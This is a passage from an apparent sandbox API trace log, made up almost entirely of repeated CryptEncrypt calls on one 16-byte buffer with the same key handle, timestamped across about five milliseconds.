pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.647] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.647] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.647] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.647] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.647] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.647] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.647] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.647] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.647] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.647] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.647] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.647] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.647] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.647] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.647] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.647] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.648] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.648] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.648] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.648] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.648] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.648] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.648] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.648] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.648] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.648] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.648] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.648] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.648] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.648] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.648] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.648] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.648] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.648] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.648] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.648] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.648] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.648] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.649] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.649] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.649] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.649] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.649] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.649] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.649] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.649] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.649] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.649] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.649] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.649] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.649] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.649] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.649] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.649] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.649] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.649] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.649] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.649] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.649] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.649] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.649] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.650] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.650] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.650] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.650] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.650] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.650] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.650] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.650] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.650] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.650] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.650] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.650] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.650] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.650] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.650] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.650] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.650] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.650] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.650] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.650] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.650] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.650] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.651] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.651] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.651] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.651] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.651] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.651] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.651] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.651] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.651] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.651] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.651] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.651] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.651] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.651] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.651] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.651] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.651] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.651] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.651] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.651] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.651] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.651] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.651] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.652] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, 